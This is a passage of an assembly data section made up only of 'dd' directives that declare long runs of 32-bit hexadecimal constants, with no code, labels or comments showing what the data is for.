		dd 8A7C07E8h, 0F03B5C99h, 0E6071CCCh, 490E9064h, 403FF9EFh
		dd 0C2434F8Dh, 1D0299EFh, 2AB64801h, 603A3C1Ch,	4509CBE9h
		dd 38D3D140h, 7BBC7A09h, 0C2649370h, 75F3CEE2h,	8C04F326h
		dd 933905CBh, 80F8A58Eh, 3947A9A1h, 1424C488h, 0C4BA99Fh
		dd 0BAE0974Ah, 7C86AC6Ch, 0AF7172C4h, 4B43448h,	74404CEAh
		dd 0E68582ADh, 0C27EDFBh, 7CA40D89h, 2164C6A2h,	1A7BA950h
		dd 0D817F9A7h, 667055BAh, 18FC95A4h, 46865BDCh,	3CEE63B5h
		dd 8F456CFEh, 0ADBF3ED9h, 67090AA8h, 0BEE8B381h, 0A6FB3BEAh
		dd 6E9C7DC7h, 18BF7A44h, 0B29AE628h, 9147FCF0h,	0CE9EDE21h
		dd 8C2CA6D6h, 0B3D1E02Dh, 0B8BCA04h, 0BD3FE039h, 0B59A7E86h
		dd 30F8866Dh, 161E263Eh, 32F68D4Ch, 0E9DE0F7Ch,	81CBD242h
		dd 0F61EC4A8h, 68B446D0h, 4B1D4CB6h, 0E367B5F4h, 7066121Dh
		dd 0F8515C53h, 0E9C0AD7Eh, 0BF958902h, 0BDC9898Fh, 6A76D5EEh
		dd 4E51A8E0h, 1B6E008Bh, 69EE73B2h, 0DB653C93h,	9B4FD698h
		dd 0A15F5381h, 0F4FBFD6Bh, 0C436E098h, 0B4BE2FEBh, 5EE0DED8h
		dd 43E0784Bh, 1CA04FCBh, 1F78EF42h, 0AF97A424h,	3F52D2CDh
		dd 3AEA0ED6h, 0B032861Ah, 0A82B35EBh, 6B686090h, 7B1D7B5Ah
		dd 0A753E022h, 39FC1721h, 948F7D05h, 23485F40h,	0C6269A5Eh
		dd 87042694h, 3CE69AF8h, 0A0CCFC73h, 0D395B2B4h, 2D53D715h
		dd 7E486C03h, 8703065Ah, 7EA4F5FFh, 723990B2h, 0F918C63Fh
		dd 4E459853h, 62C1B4A0h, 0CFFD0B04h, 6F8BAF35h,	570EE04Ah
		dd 313E62A5h, 0B01B6719h, 1491AF3Ah, 0FD9083AFh, 0C39C502Bh
		dd 0A62B8392h, 0F29E3425h, 3BB15138h, 3E59B58Fh, 0BB9BDD2Bh
		dd 518BCD50h, 0E7EB6046h, 38EB3A81h, 13613D8Dh,	0AC18FDBAh
		dd 0FD4E74B0h, 4B194CFBh, 38DAE7B0h, 0BFFF41A9h, 90EDD3CEh
		dd 0C97D00E7h, 51A83A73h, 0B3CF1195h, 5A8C238Eh, 0C439573Ch
		dd 0E38B966Bh, 0D8B80CD5h, 18C5932Fh, 76E419A2h, 4E57DB92h
		dd 3D18608Ch, 0B19F348Eh, 19F85170h, 0C8F358B6h, 0AACFE89Bh
		dd 9CD37ECBh, 0E2EE4EABh, 65228B99h, 48909059h,	8B65ED15h
		dd 0FEF5047Eh, 7F0D4757h, 0DFE29A4Bh, 0E95F9FCh, 65C222EBh
		dd 0DF4A285Bh, 0C29460FFh, 6A6FB6BEh, 35F8F429h, 9A51BCF9h
		dd 0B906A53Bh, 36373108h, 655B67E3h, 0CF069B73h, 0FE098D95h
		dd 86E504A2h, 0D3C4CB90h, 4243DB82h, 0CB0FC278h, 32331E37h
		dd 0A3887AB5h, 6C65E0E7h, 0E6A23E33h, 4600FFB2h, 3BFE85DBh
		dd 0C9ECF1ADh, 0D5A2C090h, 4A3143C5h, 0E23466E7h, 1EDE175Ah
		dd 0E5E8B158h, 7308E211h, 3E987B49h, 1AB63472h,	8154D29Bh
		dd 0D03974Bh, 0F90AD4F7h, 6B2E7E73h, 3BA80633h,	1EF47F96h
		dd 0B1B59B88h, 0CCDA02D3h, 0CC5AC218h, 36831238h, 0EB531E05h
		dd 3B5CA772h, 0FBFCC12h, 0D231CF5Ch, 29526EDAh,	71CD7FAh
		dd 361859CFh, 67856567h, 291235EDh, 0FB258DF7h,	0C38B61A0h
		dd 37DF6C65h, 0DFEC33DDh, 0EE5396BDh, 12CC2C3Dh, 169E7688h
		dd 0AF69B185h, 0B002F062h, 0B1CE78D3h, 0BA728CDDh, 0CA94D753h
		dd 92DB7EEh, 568919C8h,	2AB6C1DEh, 7C206261h, 0BFBB9Fh
		dd 1C78A204h, 0D8D1DEC4h, 0B49F1833h, 809EF853h, 0B7B8ECEh
		dd 0BD9D307Eh, 0F2DD79CDh, 0D6A6AAF2h, 4006F673h, 0CD123C3Fh
		dd 2F606F21h, 0F6675E95h, 8C8547ECh, 0E70308A7h, 0BE239F8Fh
		dd 2ABC3963h, 0F1040CC4h, 0DFBABBCAh, 0DE9A3CC6h, 18A56D72h
		dd 71073803h, 3F2C2496h, 4DA80EBBh, 30616A9Ah, 0DDCBFC50h
		dd 9EA25945h, 0DD31E42Eh, 0B41243F5h, 7253B207h, 0DDFA437Dh
		dd 6ABFCE32h, 111E7CE5h, 0EBAB8777h, 0E5234393h, 75E562FCh
		dd 13B5E62Ch, 49382508h, 28236055h, 66E6231Fh, 14007243h
		dd 0C8E64FEBh, 0D954C0B2h, 0B2C7920Ch, 803B1F88h, 0CE3EAB50h
		dd 310C26C2h, 455F778Eh, 0EEEA67D9h, 8D06758h, 50CD8553h
		dd 9B0BC901h, 34EF761Fh, 783088CFh, 3CD1379Eh, 4BB51458h
		dd 0DC4B7367h, 0EE62DF4Bh, 0D19C4E14h, 0DDFA3556h, 5F82173Bh
		dd 4B58ABDBh, 19BF6C9Fh, 30107C0Ch, 81718629h, 82C265A4h
		dd 0DB166E51h, 0A84073D6h, 3CA6429Ch, 51D2D9C9h, 3E15BD93h
		dd 0C9EAE1CAh, 0C03F2BE3h, 8E23267Eh, 0E9341E88h, 1839F4Fh
		dd 5B9E6191h, 0F3D0A0DFh, 0F326E5C6h, 656E6F2Bh, 0B9FF9E7Fh
		dd 7477D0A7h, 0BAD49C46h, 8C81AC0Eh, 1A3817E8h,	9D51DD84h
		dd 0FDEE9C27h, 0DFC45C19h, 0B7866E01h, 9A01CA74h, 6D328461h
		dd 2494DF9Dh, 626BE8C5h, 81C04D21h, 0D4C86D6Fh,	0C27C419Bh
		dd 0BC44DF04h, 0F5D3FB0Bh, 0D3F4EC06h, 8335BCC3h, 9BA3E374h
		dd 2A77CF5Ch, 3B5B225Bh, 2BB79AC1h, 59E9F525h, 37A6E4BBh
		dd 0E8BE725h, 8C27B046h, 6F91A63Bh, 3DF8B711h, 0E95750D4h
		dd 9BD8821Dh, 1DAC84Eh,	50688E46h, 0C6244C10h, 0F74255EAh
		dd 14BD9FB5h, 6AB77F2Ah, 7AA9A250h, 80C3C1ABh, 7CD5DE47h
		dd 0E2A5D7D8h, 984A32ABh, 2A2C7979h, 6700A0Bh, 0DEC9AD54h
		dd 7F69D07Eh, 71B53B1Ah, 3E5D9701h, 0F6A35A00h,	3DF5E9D3h
		dd 6858E45Dh, 0B2E60632h, 63FDF265h, 0C12CED3Dh, 0A95DC8E7h
		dd 97D838C4h, 2FA8C598h, 3E0CD165h, 51FEBF5Eh, 71B062ABh
		dd 28CAB94Fh, 0D5A3DCE1h, 0E7D35C0h, 6040136Ch,	0DDAEE696h
		dd 0F9D9BF52h, 0B1CA69A2h, 0F32236C4h, 5FE0E669h, 29D8C43Ch
		dd 3307F97h, 722FD29Dh,	9BF57D02h, 933C1329h, 7B7F19ACh
		dd 6414C2C7h, 0F56AD8D4h, 8978C6A7h, 89306A5Bh,	669904C4h
		dd 22A856BEh, 0B3ADA754h, 4AA58932h, 1EB78657h,	0FD920E97h
		dd 329FBB38h, 0B3213924h, 0EA5D2CD0h, 0F7BA4EA4h, 0A62BA61Dh
		dd 0A8A9FAE6h, 80CD4728h, 0A210E8BCh, 1DCC11F0h, 7ECA015Dh
		dd 0DE08AD56h, 0A7A4D03Bh, 5C918D2Dh, 0C0C33037h, 0DBFE927Bh
		dd 0DFCF1E32h, 756E79F7h, 5FDA047Bh, 832BC041h,	0CD416322h
		dd 526E9491h, 0DB21D692h, 914BCB54h, 76518D4Bh,	0AB3AD63h
		dd 0B63055BCh, 0E313672h, 0E04BDD27h, 9B29F017h, 7F8AC6B9h
		dd 40C580B1h, 880FE40Ch, 0B2F10E18h, 0B2BB7125h, 0BE334949h
		dd 95F4C8C6h, 9FDC4A5Fh, 0F9059DF2h, 3804D301h,	8BADB0D1h
		dd 9C50C61h, 0B3370F08h, 16017333h, 0BD3DE5ECh,	0D3909615h
		dd 688E56DCh, 0EE51C9FAh, 0A3AD8952h, 5DAB4416h, 937ECACAh
		dd 4B177C66h, 3B817005h, 762E547Eh, 870E461h, 0D1ABCC2Bh
		dd 317CDA6Ah, 6BE1FD33h, 0E62D743Ch, 0A20EC4F2h, 8CAEFB68h
		dd 0C9B58508h, 0D8442E35h, 32FA49C8h, 0E75B737h, 413BB87Dh
		dd 2567CA38h, 935A1A71h, 37BBBD13h, 0F6BAF0D9h,	7AC3320Fh
		dd 0B6330387h, 0FB58317Ah, 663926EBh, 11FC83BBh, 0F3E0DD14h
		dd 711C9799h, 36A4890Fh, 0DC749CE9h, 0F5123EDFh, 0C38F7E37h
		dd 9A8B7891h, 0F13EA6F1h, 7F209FDDh, 65375E6Dh,	0A25BF73Bh
		dd 8EDD6DADh, 0EAFE71A3h
		dd 4C8CEB30h, 0B9B87637h, 0A3B322E9h, 0C2374FE8h, 0C0163450h
		dd 2795FCDAh, 6BB05222h, 73496ED9h, 98C0A1C9h, 0F2A46AAAh
		dd 0E35326ADh, 1D70208Dh, 860A56B2h, 8E4AE6Bh, 80C4EED1h
		dd 0A52DF620h, 8FCC28FAh, 0B0585949h, 0FCC2F65Fh, 3EDB7F3Ah
		dd 43DCDBCh, 4502E756h,	156BD465h, 0D584C725h, 0B12C39Ah
		dd 5C8ECEFCh, 0DA658F73h, 0B89E8AFEh, 0AD47A48Ch, 0D14EF827h
		dd 0A2DEBF41h, 159FEE59h, 54CB0C29h, 8FA55222h,	2D538FD3h
		dd 0E3A60BA7h, 63434CDDh, 2B77DE12h, 673ECF7Dh,	0AF3C5A4Bh
		dd 0DE4C3CDCh, 784897C0h, 7061C4EDh, 5746E6BAh,	2446806Eh
		dd 6952BFFBh, 0B3D68183h, 61A65FB2h, 994B6A29h,	857684D8h
		dd 46A15814h, 0E2DCC1F3h, 41A25A88h, 0E74D1E84h, 0E86403A0h
		dd 1D31E074h, 84539CE4h, 0FB08784Dh, 349247F2h,	706820E4h
		dd 8F28F5E2h, 8707BA30h, 0D55F950h, 0ED542D05h,	5A7286C1h
		dd 0A98B160Fh, 0D4239EAFh, 0E625AD98h, 4ADFE488h, 0E0AC59FFh
		dd 6F9237E2h, 74263357h, 399B2159h, 5F3068BFh, 1C8FCD31h
		dd 5D9542CBh, 79004D60h, 0C506F34Fh, 1BE63B63h,	0F8D8B114h
		dd 50AAB421h, 22D48CA8h, 5128E247h, 7951E9ECh, 27CC2FB6h
		dd 0D4DF8032h, 79980D09h, 82E6DF97h, 69876B23h,	73FA3324h
		dd 0A5080CBh, 0A1CFAD42h, 0C7C2E7B8h, 0A789DA5h, 0B0792547h
		dd 8C8EE466h, 2477BA58h, 31A5722Ch, 6E2BCD3Ah, 0E1D563A8h
		dd 0BED39097h, 1BB6818Ch, 0B572E3B9h, 5BC6D23Ch, 6D60285Dh
		dd 4DDD6C36h, 0D43D727Fh, 4206EAC7h, 0C5989E21h, 0C38D572Dh
		dd 0FBEF754Bh, 8BEA95DEh, 0C1CB649Ah, 0BF86D836h, 0C7B4810Bh
		dd 6F0738FAh, 38A24760h, 0AC3B922h, 5DC75D41h, 480730B4h
		dd 56B7F9ACh, 654BEED6h, 0A486B757h, 26B1BDEEh,	5F86AA77h
		dd 0B276DB55h, 49749334h, 0A482B968h, 77B54660h, 21AD668Dh
		dd 0B16FD4E5h, 3456EA76h, 0D73C34A7h, 0F6197F59h, 0DEFC3ADDh
		dd 3FB02773h, 0BD9BF6F4h, 61C2B3E1h, 4F986E7Eh,	0E627A1BEh
		dd 0DD2B08D7h, 0A93FB137h, 4251952Ch, 0FCA28264h, 7B2BE0B4h
		dd 0BDDFEDC9h, 0B71E4E66h, 0EE46D59Eh, 0DCA10E5Eh, 7DC7E26Ah
		dd 29D9128Ah, 83B7F676h, 52C4EC17h, 1E0C9B0Dh, 0FDF86F4Ah
		dd 4C57D1D1h, 52850918h, 0E440AE5Bh, 6241CFBCh,	0F4FAC352h
		dd 0CE88FF71h, 89592D6Fh, 7B11F1CBh, 1A00C980h,	2CFABAD2h
		dd 2136BD12h, 0DA0B73D0h, 10A29135h, 0CC0957Dh,	0AD772C82h
		dd 9537B99Eh, 0CD7BD841h, 938A3CBBh, 3490191Eh,	0D40EE4F6h
		dd 605ACC3Bh, 2BF97F4h,	629A5B8Fh, 0DB255AA1h, 3B993DCh
		dd 46D31DECh, 8C6AC04Ch, 3A634481h, 860EF4FDh, 26036DA4h
		dd 0E9830FBDh, 2C3975E6h, 409FB9FFh, 8C719CE7h,	0D15A5ED3h
		dd 610EBE6Eh, 4C5E6107h, 0E3A131E1h, 0A6CC9593h, 10A72C48h
		dd 2C671E52h, 0F814542Fh, 828A8A2Ch, 0C98FAAD7h, 5A50796Ch
		dd 0CF0D7DB8h, 5509637Ch, 3F0BCCC9h, 0AA1452D6h, 4EB59D73h
		dd 79A5BEC4h, 0A1744E6Fh, 8AADF6Fh, 0D43493CDh,	5D390705h
		dd 313E4C2Fh, 0B2AA6CBCh, 0D431B43Ah, 57680E23h, 35147A0Bh
		dd 0F318C8BFh, 5F922990h, 187F4CA3h, 1D835E8Fh,	92C2AABAh
		dd 58089EAEh, 0EA6DE0C9h, 0F9ED3EFh, 9318F2E7h,	0D7684DFBh
		dd 0CE5543C6h, 88DF8729h, 80757894h, 836AAA7Dh,	7C2B4E6Dh
		dd 0ADBC3CDAh, 9223F776h, 17ECCAAFh, 0AD862FF9h, 8616671Fh
		dd 8DBB45E0h, 0F5DA0F4Eh, 6B296DA3h, 41A4AE23h,	5F7C5117h
		dd 4BD21F88h, 0F626F1D0h, 0E1C0307h, 8660E4BBh,	6C7569F5h
		dd 0C5F0FCBh, 0BCC2526Ch, 0C80DE6Ah, 68543805h,	386233BEh
		dd 2E8CD476h, 0D9BA3A99h, 0C9EDE43Bh, 0E601D349h, 51157B2Bh
		dd 0AF62362Eh, 0A7B2B6E3h, 7F87CECDh, 0EE6CDE36h, 0E6D857EDh
		dd 0A086D559h, 26CD7A9Ch, 7B2E0942h, 0F6125272h, 930A8475h
		dd 39239D17h, 0C3308CF0h, 3B0F758Ah, 58B47232h,	0E68F86CFh
		dd 64F2A545h, 0B2CA4DD3h, 0ABC074CEh, 2C7C3089h, 58961447h
		dd 0C1A86B54h, 7A7F062Dh, 53F38863h, 5CB9B3EFh,	90E51131h
		dd 4F60A991h, 75A203A6h, 0B59C6441h, 0A3BFD88Ah, 0ADF40CCCh
		dd 80B48F30h, 82A3EA1Eh, 309448A3h, 531A64F2h, 0AFFD79C9h
		dd 0DDB7E86Fh, 909CAAE5h, 1DE9B01Ch, 76134E95h,	6DA0166Eh
		dd 82968086h, 8E31FCA7h, 0CA2583D0h, 7E269C2Ah,	6F7D6BA1h
		dd 0A659DB86h, 0DE0849DAh, 0C0C04E50h, 2A7DF6F4h, 7BE84FC3h
		dd 4245ADh, 0C39C5B4Dh,	0D4DE18D0h, 3D453CE1h, 76842699h
		dd 9FF138ABh, 0A1ECF7Fh, 86DEB8B7h, 68B9DD7Eh, 8F0B6C28h
		dd 4298EE09h, 0D3E249CAh, 86CB7F4Ch, 97BBE026h,	0CF386A52h
		dd 0F1ED6A88h, 0AE3872Bh, 0C17FA386h, 819DE586h, 50497F1h
		dd 0E43275F2h, 62D8B050h, 0D84D6825h, 33889E2Fh, 0A53A4F4Ch
		dd 0AFF23E60h, 8F7E7A49h, 0A404C978h, 4377AD88h, 0EED5A8CCh
		dd 71D6AAAh, 1F56EEBDh,	0F3B8E04Dh, 0ED765016h,	0B2D4F223h
		dd 0B1F340EAh, 8F961F5Bh, 18A811A1h, 0CF008BF0h, 13CA2EE4h
		dd 0EC7C6E05h, 46408BABh, 0D8AFF44Ah, 0D4836815h, 0CD2ED9D6h
		dd 26BD0B5Dh, 67DB4529h, 67AD7D16h, 0D13D3FDCh,	884FC1B6h
		dd 0D1F90C76h, 98A02744h, 46DC6EEDh, 0C940C8CAh, 0DD5DF5A9h
		dd 4888733h, 3F9829ACh,	0C5FD0651h, 0CDD3E569h,	4CD9969Fh
		dd 0C644887h, 1D1EB92h,	9F5F8923h, 0ABA6F13Fh, 0E616AE36h
		dd 0A9480785h, 9C1C0B12h, 0F2DA945Bh, 66A384B7h, 38674795h
		dd 0F636B3D8h, 30E1B9E9h, 0FC30FEE3h, 0B8E7E401h, 0C0090F2Ah
		dd 920D5328h, 0A2C5671Fh, 3CA79C4Dh, 32CC7373h,	0DE8EE8AEh
		dd 52A1AB1Ch, 0C947F08Ah, 7DA58045h, 1F726A16h,	3871A057h
		dd 3196F2Bh, 6FEDB64Dh,	2E7EFA2Eh, 93FAF720h, 36F4B5A5h
		dd 0C6D771E3h, 148CAA45h, 48ACE9Dh, 0C6890591h,	37A67911h
		dd 78952605h, 0B3ED4697h, 509495E2h, 73E64109h,	41401Ch
		dd 1B8929A0h, 0BBE52D11h, 5F428258h, 23931C8Fh,	0D8CB8CB7h
		dd 61FF707Ah, 1A368E17h, 3238ACC0h, 979F535Bh, 9EAF1E25h
		dd 57347EC0h, 0B1B78D8Ah, 8A950724h, 68DC5CFFh,	0EBC2D2E6h
		dd 0E84BF292h, 9C7E3597h, 2316DA33h, 601C67E1h,	0D636E681h
		dd 0C421D10h, 0E1650415h, 0A0A2A30Ah, 0E6B34002h, 3793E9BBh
		dd 0BBE49D7Eh, 1BD32A2Ah, 8928C916h, 6D3E0B81h,	0B526B94h
		dd 0A3B9F9AFh, 0F469DA45h, 9ACF8F1Ah, 8FA1F426h, 132F41FFh
		dd 37E6FB1Dh, 324AE23h,	0FB1EE810h, 0A340FFA5h,	5AE6E2DAh
		dd 2F2ACF73h, 21F19CF2h, 0A4B979B1h, 5EC13B27h,	0EC247C9h
		dd 422353FBh, 0C680BD13h, 208CDE7Fh, 9A1B3250h,	4F96145Ch
		dd 8B37DC76h, 758DFABCh, 2884275Ah, 0C64A0814h,	62365A39h
		dd 35399529h, 0A956969Bh, 788DDF99h, 9CA2ADA0h,	0E120387Fh
		dd 0A3D17291h, 2D2BB705h, 0C479D655h, 0C95FD0F6h, 62DF74DFh
		dd 529854FCh, 2F55787Dh, 8A425434h, 0EC7E41B6h,	7680F6D3h
		dd 3B66D2F4h, 8550ABEAh, 4BDB6F7Ch, 7E931B27h, 3FE41EF0h
		dd 3A31C6B7h, 0D62A7101h, 0BB41AD14h, 6FCF8493h, 3D561ADFh
		dd 64FDA8C3h, 0BFB14B00h, 9BBA44A4h, 0A8BFD60Ah, 4535F538h
		dd 0EE59C278h, 0E4F05291h, 0D3ACFF03h, 0C5DBBC51h, 81C6E07Fh
		dd 6797E1C6h, 0F7894F38h, 8C8BC379h, 1AA5724Fh,	0D9D44A1h
		dd 97780FBh, 92D79DF4h,	1C909529h, 862FE8D2h, 0C86A749Dh
		dd 0AD1CE204h, 0B1D21202h, 67BBC10Eh, 6E756E97h, 0D0A9FB18h
		dd 437F932Ch, 0FAEA62Eh
		dd 0F26EFE32h, 0C31AC233h, 2F26B1ADh, 0D4AE15B3h, 0BF3A20C3h
		dd 8B351ED8h, 0AA9104BBh, 85D7EB66h, 7FEDB5F2h,	0AAF9F10h
		dd 0EB0E33C6h, 0D0F174B7h, 0E8621C0h, 76229345h, 34A09464h
		dd 7A6E831Fh, 6395D2F2h, 254257CEh, 0FEB2374Bh,	80E9982Ch
		dd 217AFF0h, 6B47512Ah,	8422D03Ah, 503AA124h, 2898F65Fh
		dd 5646A355h, 7E0EA2B2h, 4E625355h, 0C0D4D089h,	0BAB82C29h
		dd 7EAFC16Ch, 2D3C3DA5h, 0AD444BEBh, 422642F8h,	9ECCF11Fh
		dd 0B3A66817h, 8EC90A7h, 0CAE5AAB4h, 815F16F8h,	0C452E2DFh
		dd 0E0613D3Dh, 0A89C95Fh, 0D3E718C6h, 0F2AC912Ch, 52E06A43h
		dd 260568B4h, 8BF0D13Ch, 5FED6AE4h, 27786751h, 0D4C32E56h
		dd 4CF73D7Ch, 89EF4BEAh, 6C0F7F96h, 0EA34819Dh,	148F68B1h
		dd 767E4FCFh, 0F33FA566h, 0DD3C9A97h, 9587D4B2h, 181BBD55h
		dd 30302F7Eh, 65F2522Fh, 0D5056FC7h, 0A2490D52h, 8AE9E0h
		dd 593B49C5h, 0D871F643h, 36DFFE2Ah, 8A0865E9h,	0A7E63751h
		dd 8647A781h, 9F9EC1D5h, 8BB03770h, 67DD9AA2h, 14D6946Fh
		dd 21982368h, 0A6B8B787h, 6F5095E3h, 6C361F85h,	64F797h
		dd 2595A4F0h, 8335072Bh, 0DACECA49h, 0FB6778D9h, 78AE3178h
		dd 558FADEBh, 0ED72CC64h, 0B6F235AFh, 8C9C6617h, 132061E0h
		dd 3EA2C02Eh, 8E89D8AFh, 0BD11E750h, 5F3336ADh,	0EAC753CAh
		dd 669DDEA1h, 67424B61h, 437FBC02h, 50074A7h, 0D9F07C86h
		dd 16A49D2Bh, 8A8A1AE8h, 93CB9D27h, 70451EB8h, 97A6BEB6h
		dd 0A9CFA07h, 209CAB3Fh, 4408EEAh, 277225EFh, 0CA861B08h
		dd 4E0D017Eh, 277688B9h, 0DC9DCF40h, 0B93A9091h, 8C819460h
		dd 37F9919Eh, 0C7701324h, 0BFB0DF92h, 0E8454495h, 97E791A4h
		dd 0A7553020h, 27DF32BEh, 0D764C614h, 0C2049A1Dh, 0B64D9061h
		dd 0B25A8192h, 0DCC735A8h, 94FAA0C4h, 445A34B5h, 0AFC6890Bh
		dd 138D367Ah, 95389524h, 60FC6A66h, 685C4B4Fh, 2B6D4A00h
		dd 0FF90DE4Eh, 629A62B4h, 36D4B15Eh, 5A6EE2FDh,	0FCF5B1E5h
		dd 94DD2FE7h, 2AEE1EEFh, 0A3B1955Bh, 51678C4Ah,	0D390C488h
		dd 0C01C60FFh, 6A96E164h, 438DABAEh, 0AC437F23h, 0D5FBB923h
		dd 0FBA8AB33h, 4855301Bh, 0DF8206FEh, 2E1E0BBDh, 99C3403Dh
		dd 0B794019Fh, 406033B7h, 203AB5E3h, 9AC7473Ch,	519A3652h
		dd 0EACEDF51h, 26958ADh, 604CE5Eh, 8F9960AAh, 0C797ADC5h
		dd 7D2A27B2h, 0E2933C6Dh, 3F9710B5h, 5B35A0C1h,	89FFDF86h
		dd 2258994Ch, 0B038D464h, 82DECF3Eh, 0C248AE2Eh, 0D9AADF94h
		dd 49EFE672h, 0A536A3F2h, 370BB6B7h, 0DFB4B3EAh, 0BBEB246Ch
		dd 0BDE4204h, 6D75BF82h, 27DB3D70h, 0D815A507h,	155D0015h
		dd 0DCF8D0ACh, 7251A836h, 88423988h, 6FB9CBC5h,	0C4F0655h
		dd 504398ADh, 91111ED0h, 5735A5ECh, 3D84EEB1h, 4D3BDB6Ah
		dd 0B60BB0AEh, 0DFD2C82Eh, 0FC7654E3h, 6119AB32h, 7FE27912h
		dd 38A60DACh, 4976BFC3h, 0D79F5BEAh, 7C0CB37Bh,	0A480C6D9h
		dd 0A2765B3Bh, 0A22C5906h, 0A2DBD2CEh, 34EB836h, 0F7AA963h
		dd 5FB837DCh, 0D4FF2ABh, 6342B83Dh, 0F414CA29h,	0D9C0E650h
		dd 84893BA0h, 0DFBDFA5h, 5F81F121h, 0E0B48365h,	0E15FB2CBh
		dd 4F34B0E5h, 6574B6E4h, 9FD96CBAh, 0AA1E73C0h,	618AD8Eh
		dd 0E8F52C9Eh, 18F51CA2h, 3F0A5F9Fh, 0BF427BE2h, 0B6B00911h
		dd 0A19FC7E1h, 0FD33BBF2h, 553D2D99h, 536B0B82h, 6C4DBD29h
		dd 4BC95278h, 0D83FA771h, 34AAB3E5h, 75736D6Fh,	56DB4036h
		dd 9260CD60h, 3208689Bh, 36BA62A3h, 0EC3CD5ECh,	0A9335A38h
		dd 0AC136DE7h, 83C31B87h, 6138563Ch, 880B9593h,	0D4C2BABBh
		dd 0C471325Eh, 90FC0B37h, 0A46C493Ch, 6770991Ch, 8532CC0Ch
		dd 8C51B702h, 0DB52775Dh, 5F624ED5h, 651EEF47h,	1B38A89h
		dd 0EEEFB88Bh, 3E0300A8h, 6857AF4h, 126FE76h, 0A7CCC530h
		dd 0C93B4CA1h, 702E2723h, 7157930Ah, 37233398h,	4883F210h
		dd 0C461B14h, 0A10C0B49h, 6B0869D9h, 37CEF708h,	0E7B567A8h
		dd 0EBABE258h, 0A6E33194h, 97DAB877h, 36052B72h, 0F3CD4574h
		dd 55F781D0h, 7F608D5Bh, 0C8C7EC8Eh, 0F3FD4F5Eh, 0E19515C3h
		dd 62F0658Ch, 0AA08CFE9h, 764AF916h, 30758E3Eh,	42FB48ADh
		dd 0BBBFBEB9h, 21ADCC55h, 0D4ACCFAAh, 0A9088BFEh, 314830D8h
		dd 0D702BB8Fh, 0EA15FDFFh, 7031D195h, 0E19B4211h, 52CDE174h
		dd 73BD15A7h, 9A35C20h,	8A1B35FFh, 2C698D0Dh, 2309E576h
		dd 0BE25431Ch, 720931B0h, 0E5A1A2E9h, 0C508988Ah, 7B7F59D3h
		dd 0A595D34Ah, 0BCD9D02Eh, 0E295B766h, 0B782817h, 0BC5F8D4Ah
		dd 5402C12Fh, 514BB3A2h, 6BADE9D8h, 2ADA25A7h, 0FC1C531Dh
		dd 98436B05h, 0D4F0858Ch, 0D86F9B76h, 18ACAB1h,	9B17BA2Fh
		dd 34688643h, 37A4C320h, 6AD934DBh, 0BFE542E4h,	2C4E5B9Bh
		dd 13D95E8Ah, 0B264E308h, 12CD2A43h, 0F3128BBBh, 3CAFEA00h
		dd 4F81D954h, 564F57E8h, 738269F9h, 0A1B262A7h,	1B243460h
		dd 9CEFB869h, 0DA577E79h, 41016B6Bh, 4490287Ah,	0A05D9C8Ch
		dd 9CE1F592h, 4E614276h, 0DAA21CCEh, 151B265Ch,	81537F5Dh
		dd 2A320152h, 2BDC3E1Ch, 90D42CF6h, 0E420F7FFh,	8D7D7DD2h
		dd 0E84B90DFh, 5EE03806h, 53F60947h, 0CB0205B2h, 80DFC224h
		dd 453975DFh, 0E83C1D82h, 89BFD6F5h, 26FCDD2Ch,	47C3AB9Ah
		dd 0E5A5AB1Eh, 0C54CF347h, 9A961EFFh, 97929DAh,	5BF2E5F0h
		dd 0E3EC2E4Dh, 0C23AB2BDh, 0DE35897Ah, 385A9608h, 3B2E0BD3h
		dd 5622E4A4h, 847BF3C5h, 9E052D1h, 4F293847h, 68C5FBBh
		dd 87B22744h, 255F7459h, 0D5E902CAh, 1982FCE4h,	21AC8B2Fh
		dd 0B9C403E3h, 9857317Dh, 6104EF6Eh, 5154F7C6h,	3625F0F0h
		dd 47AAF067h, 2BE7D956h, 0BF86B7D4h, 764DCB28h,	704DC1C0h
		dd 6D7CEEE8h, 33E02BFCh, 24279042h, 0D44E284Bh,	0AA76C123h
		dd 23C53553h, 1DE6F459h, 39DA3902h, 4FDF3895h, 4709688h
		dd 7F4D4918h, 0CB314AFEh, 0FEF771Dh, 617FE23Eh,	3930A195h
		dd 0A88BB1B7h, 0E8C06ADh, 9076DB1Dh, 9D974AC0h,	4CABA28Bh
		dd 1810CBA8h, 0DBB69547h, 0E6BBF2F8h, 61B4F472h, 8C31A4F2h
		dd 402DECB2h, 9B0EF7BAh, 5B8EDEADh, 0E52E46D8h,	7ED3AE68h
		dd 13E6ED55h, 7D10EB4Eh, 0ACF330D8h, 1DE5DC3Fh,	0E4F31DD7h
		dd 21C41396h, 1700FA6Ah, 25D97B19h, 486E7DFFh, 0DE988C8Bh
		dd 20A60A59h, 0A4F7A553h, 0BE7EEABDh, 909A433Dh, 0AE93A65Dh
		dd 29B204E9h, 7908ACC3h, 0D2FA5D28h, 3D652D55h,	0E9B70537h
		dd 129FEEBFh, 0FD716143h, 62EB59F2h, 1BBC83E0h,	0BDB8BCB4h
		dd 0B0F85D30h, 8A5A9A83h, 119B3534h, 5E411726h,	0E626B24Bh
		dd 62546CD7h, 0C6904C66h, 66F7322Fh, 1F928DD8h,	6290F8Dh
		dd 7BB98CF3h, 74612B22h, 28084787h, 3BDC4915h, 0C0BD3D01h
		dd 9868910Ah, 0D44E2E88h, 224756Ch, 51173131h, 7CB5D4D0h
		dd 0D94B0613h, 53DA1345h, 577E57C8h, 64E738C3h,	0B784FE40h
		dd 332FF079h, 0B37FCFE7h, 39D1241Ah, 6FFE6192h,	8A23A072h
		dd 0F5CC94F3h, 18A8925Dh, 6A36E3ADh, 0BF247BF3h, 58BCA042h
		dd 0B6C6DD12h, 0C1FAAFF7h, 89BDA418h, 6C022E11h, 31241609h
		dd 414B4E1Ah, 4AC39651h, 0C42C67DDh, 4C382B96h,	57673780h
		dd 418A5434h, 0E2C060A6h, 0EA753393h, 0DC896BDCh, 7DBAB7ACh
		dd 0C90825D1h, 0AC47CC9Ch, 5DD34660h, 0A08E282Eh, 0C8C481B9h
		dd 0C5973FDEh, 160FEE66h, 0A5FA9E50h, 9681C51Fh, 6F62E759h
		dd 19730573h, 74810BFCh
		dd 17593946h, 0BC4C051Ch, 0CBDB7CD2h, 99093FA3h, 7E3436E4h
		dd 25EEBBBFh, 6A9DAE47h, 23AF30ADh, 0F4F3DA8Ch,	0A6F13F6Ah
		dd 7DF7DD8Dh, 0F188976Dh, 59617BA0h, 2AE01B4Ch,	4EDFA042h
		dd 9A89EB90h, 3CDBD521h, 4CC89F8h, 5FFEE9B3h, 0A3B3AC00h
